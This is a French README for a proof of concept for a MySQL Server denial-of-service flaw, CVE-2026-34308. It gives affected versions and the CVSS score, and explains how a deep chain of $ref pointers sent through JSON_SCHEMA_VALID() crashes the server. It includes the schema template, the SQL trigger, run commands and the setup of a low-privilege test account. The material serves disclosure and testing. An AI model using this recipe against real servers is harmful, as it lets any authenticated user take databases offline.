
Preuve de concept pour CVE-2026-34308, une vulnérabilité de déni de service du composant JSON de MySQL Server. Démontre l'épuisement de la pile via des chaînes $ref profondes dans JSON_SCHEMA_VALID(), provoquant un crash du serveur. Inclut un script PoC en Python et une analyse technique.
Bulletin officiel du fournisseur : Oracle Critical Patch Update Advisory — April 2026.
Vulnérabilité dans Oracle MySQL Server (composant : Server : JSON).
Versions concernées prises en charge : 8.0.0–8.0.45, 8.4.0–8.4.8 et 9.0.0–9.6.0.
La vulnérabilité permet à un utilisateur à faibles privilèges de faire planter le serveur MySQL.
Score de base CVSS 3.1 : 6.5 (impact sur la disponibilité uniquement)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Mécanisme observé : Récursion profonde lorsque MySQL évalue JSON_SCHEMA_VALID() sur un schéma JSON contenant une longue chaîne linéaire de pointeurs $ref, sans limite de profondeur effective lors de la compilation/validation du schéma — entraînant un épuisement de la pile et un blocage ou un plantage reproductible.
Chaîne d'appel (conceptuelle) :
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ validation interne du schéma JSON → résolution répétée de $ref
→ épuisement de la pile → blocage / plantage
Pour cette preuve de concept, n'importe quel compte MySQL authentifié suffit : accordez uniquement USAGE sur *.* (le privilège minimal de MySQL — capacité à se connecter — sans SELECT, accès aux tables ou rôles d'administration). Si l'utilisateur peut ouvrir une session et exécuter SELECT JSON_SCHEMA_VALID(...), il peut déclencher la condition.
poc_schema_dos.pyConstruit un schéma JSON avec une chaîne linéaire de $ref (exemple de profondeur 1200) :
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
Envoyé à MySQL sous la forme : SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
Lors des tests sur des versions vulnérables, il a été observé que cela faisait planter le serveur en environ une seconde (le délai exact dépend du matériel, des options de compilation et de la profondeur du schéma).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
Pour tester un compte à faibles privilèges :
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Puis : python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py : Script de preuve de conceptREADME.md : Ce fichier